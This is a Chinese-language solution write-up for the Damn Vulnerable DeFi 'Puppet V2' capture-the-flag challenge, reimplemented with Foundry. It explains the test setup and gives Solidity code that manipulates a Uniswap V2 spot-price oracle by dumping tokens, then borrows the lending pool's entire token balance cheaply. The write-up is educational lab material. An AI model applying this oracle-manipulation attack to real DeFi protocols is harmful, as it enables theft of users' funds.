挑戰 #9 - Puppet V2#
為了學習 solidity 和 foundry 系統,我重新編寫了 damnvulnerable-defi 的解題方案,基於 foundry 測試框架。歡迎交流和共建~🎉
合約#
- PuppetV2Pool: 提供 borrow 方法,用 weth 換出 token,token 價格來自於 uniswap 的報價
- Uniswap-v2 相關合約
測試#
- 部署 weth 和 token 合約
- 部署 uniswap factory、router、pair 合約
- 通過與 router 合約互動注入流動性,token 數目:UNISWAP_INITIAL_TOKEN_RESERVE,eth 數目:UNISWAP_INITIAL_WETH_RESERVE
- 部署 puppetV2Pool 合約,向 player 和 pool 中分別轉入 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE 數目的 token
- 執行測試腳本
- 期望 pool 中的 token 餘額為 0,player 的 token 餘額大於 POOL_INITIAL_TOKEN_BALANCE
解題方案#
這道題的攻擊思路和 Puppet- v1 的思路類似,仍然是利用 uniswap 價格預言機對 pool 進行攻擊,
值得注意的是這裡使用的都是 uniswap-v2,在 v2 中使用的是 token 和 weth 的代幣對,但是 player 用戶開始只有 eth,需要與 weth 合約進行互動
完整的攻擊流程如下圖所示:
- 第一步:通過調用
swapExactTokensForTokens
將 player 帳戶中的全部 token 換成 weth,從而降低 token 在 uniswap 中的單價 - 第二步:計算借出池子中的全部 token 需要花費多少 weth,在經過第一步後已經拿到一部分 weth,再通過質押 eth 補齊剩餘的 weth
- 第三步:調用池子的
borrow
方法,將 pool 中的全部 token 借出 - 第四步:(本題未做要求,可以將 weth 放入池子中,補足池子中的差價)
完整的步驟代碼示例如下:
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE, // amount in
1, // amount out min
path, // path
address(player), // to
block.timestamp*2 // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);